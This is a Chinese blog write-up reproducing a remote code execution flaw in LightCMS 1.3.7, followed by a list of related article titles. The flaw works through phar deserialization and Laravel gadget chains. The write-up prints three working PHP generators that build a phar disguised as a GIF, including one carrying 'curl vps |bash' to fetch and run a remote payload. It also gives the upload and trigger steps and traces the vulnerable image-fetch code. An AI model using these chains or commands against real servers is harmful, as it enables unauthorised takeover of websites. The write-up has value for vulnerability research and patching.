LightCMS1.3.7-RCE漏洞

  • 环境搭建(Kali)
  • 漏洞复现
  • 漏洞分析

环境搭建(Kali)

参考之间的文章:LightCMS1.3.5-任意文件读取&RCE漏洞

漏洞复现

找一个 Laravel RCE 的 gadget,生成 phar 文件,exp如下

POP_1<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}class BroadcastEvent{protected $connection;public function __construct($connection){$this->connection = $connection;}}}namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}namespace{$command = new Illuminate\Broadcasting\BroadcastEvent('whoami');$dispater = new Illuminate\Bus\Dispatcher("system");$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");$phar -> addFromString('test.txt','test');$phar -> setMetadata($PendingBroadcast);$phar -> stopBuffering();rename('phar.phar','phar.jpg');
}
POP_2<?php
namespace Illuminate\Broadcasting
{use  Illuminate\Events\Dispatcher;class PendingBroadcast{protected $events;protected $event;public function __construct($cmd){$this->events = new Dispatcher($cmd);$this->event=$cmd;}}}namespace Illuminate\Events
{class Dispatcher{protected $listeners;public function __construct($event){$this->listeners=[$event=>['system']];}}
}
namespace{$phar = new Phar('phar.phar');$phar -> startBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);echo base64_encode(serialize($o));$phar -> setMetadata($o);$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}
POP_3<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}class BroadcastEvent{protected $connection;public function __construct($connection){$this->connection = $connection;}}}namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}namespace{$command = new Illuminate\Broadcasting\BroadcastEvent('curl vps |bash');$dispater = new Illuminate\Bus\Dispatcher("system");$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar -> addFromString('test.txt','test');$phar -> setMetadata($PendingBroadcast);$phar -> stopBuffering();rename('phar.phar','phar.jpg');}

来到内容管理 - 新增文章内容,上传文件,就会得到一个这样的图片 url:http://127.0.0.1:8000/upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif

然后来到我们自己的 vps,新建一个 txt,内容为:phar://./upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif

然后 POST 提交到这个路由即可触发 phar 反序列化

漏洞分析

在LightCMS1.3.5的任意文件读取漏洞被提出并且修复后,我们来分析一下作者修复所用的fetchImageFile函数

跟进fetchImageFile函数,可以看到其使用curl来获取远程资源的内容,然后使用 Image:make 模块进行解析,并且对后缀也进行了严格的过滤,由于该后台是基于laravel框架开发,并且这个cms 后台还是有图片上传功能的,不妨我们尝试利用phar反序列化实现RCE

我们跟进一下isWebp函数 ,由于传入的不是Webp文件,所以会进入Image::make($data);,而且这个data变量也就是请求返回的内容,在获取到远程url的内容后,会调用Intervention\Image\Facades\Image的 make方法,对图片内容进行解析

继续跟进到vendor/intervention/image/src/intervention/Image/AbstractDriver.php,通过 init(),然后传入 decoder->init()


可以看到 data 不仅可以是图片的二进制数据 ,还可以是这些数据格式,跟进 initFromUrl方法

它继续读取了这个 url 的内容,然后作为 binary 数据处理

跟进 isUrl,这个方法只是利用 FILTER VAR 判断是否为 url,这意味着前面的 http 协议可以替换成其他协议,比如 phar 协议,将 url 内容改成一个 phar 进行测试,依旧进到了这里并且传给了 file_get_contents(),即可以触发 phar 反序列化

LightCMS1.3.7-RCE漏洞相关推荐

  1. wordpress漏洞_聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

    作者:LoRexxar'@知道创宇404实验室 时间:2019年3月14日 2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wor ...

  2. cve-2019-10758 mongo-express rce 漏洞分析

    下面是对漏洞的描述: mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that use ...

  3. citrix 路径遍历 rce漏洞(CVE-2019-19781)

    漏洞描述 Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令.根据其他安全网站的说法,这个RCE漏洞会有一个标记漏洞(其中之一的标记),即本次报道的Cit ...

  4. 老版本的Spring应用该如何应对这次的RCE漏洞?

    昨天,在发布了<Spring官宣承认网传大漏洞,并提供解决方案>之后. 群里(点击加群)就有几个小伙伴问了这样的问题:我们的Spring版本比较老,该怎么办?这是一个好问题,所以DD今天单 ...

  5. 深入分析H2数据库控制台中无需身份验证的RCE漏洞

    简介 最近,JFrog安全研究团队披露了H2数据库控制台中的一个安全漏洞,其编号为CVE-2021-42392.这个安全漏洞与Apache Log4j中臭名昭著的Log4Shell漏洞(JNDI远程类 ...

  6. WebLogic CVE-2021-2394 RCE 漏洞分析

    漏洞简述 2021年3月15日墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server RCE漏洞,2021年7月21日Oracle发布了致谢信息. 这是一个二次反序列化漏洞,是 ...

  7. 西部数据 MyCloud 网络存储存在 RCE 漏洞

    西部数据(Western Digital)的MyCloud系列近日被曝出了RCE 漏洞,由于西部数据公司在2015年停止支持的一条产品线存在漏洞,以及此前未知的零日漏洞,过去一个月里,无数客户的MyB ...

  8. fastjson jar包_Fastjsonlt;=1.2.47反序列化RCE漏洞(CNVD201922238)

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD‐2019‐22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

  9. Apache Shiro<=1.2.4反序列化RCE漏洞

    版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...

  10. 【警惕】大量未修复WebLogic WSAT组件RCE漏洞的主机被挖矿程序攻击

    警惕  从1月1日开始,大量未修复WebLogic WSAT(全称:Web Services Atomic Transactions)组件RCE漏洞的主机被挖矿程序攻击,尤其是1月3日,更是大面积爆发 ...

最新文章

  1. 软件测试之功能测试详细过程
  2. IntelliJ 平台 2020 年路线图
  3. 刷脸秒入仓,阿里云云盾实人认证助力心怡科技迎战双11
  4. 使用Fiori elements技术开发的ui5应用,方便大家参考
  5. servlet面试常考 (转载)
  6. 连接上linux上的ip在哪个文件夹,linux – 当IP别名时,操作系统如何确定哪个IP地址将用作出站TCP / IP连接的源?...
  7. android编程文献,郭宏志. Android应用开发详解[M]. 2011.
  8. SpringBoot 手动配置 @Enable 的秘密
  9. 分析udp数据报_开发需知!!!TCP和UDP的特点和区别
  10. android学习资料整理-----高级篇
  11. 推荐9个web前端模板框架
  12. 2020华为海思的实习生面试记录(雨人)
  13. 姓名投票c语言未给定候选人,C语言上机
  14. 酷睿i5 1235u参数 i5 1235u处理器怎么样
  15. Android 编写WiFi探针,一种WiFi探针路由器的制作方法
  16. 《网络黑白》一书所抄袭的文章列表
  17. JAV----------数组操作
  18. 一个遮罩层怎么遮罩两个图层_premiere遮罩功能在哪儿_怎么在视频中加遮罩图层_遮罩图层制作教程详解...
  19. 基于SpringBoot的高并发秒杀(限时秒杀)
  20. POE光纤收发器的三大应用场景

热门文章

  1. JS 图片压缩上传并在iOS中矫正方向
  2. React+阿里云Aliplayer播放器实现rtmp直播(推流时间差,重启播放器,计时观看)
  3. 天庭云计算机键盘无法输入,Win7系统下无线键盘失灵无法输入的解决方法
  4. 攻防世界密码学 浅尝
  5. Unity快速实现回合制游戏
  6. 无法解析该名称 outlook必须处于联机,控制面板删除账户
  7. Teach repeat replan 安装中遇到的问题记录
  8. NUC系列迷你电脑改装苹果网卡的又一神器方案
  9. Facebook批量取消关注公共主页
  10. 一次ORA-3136的处理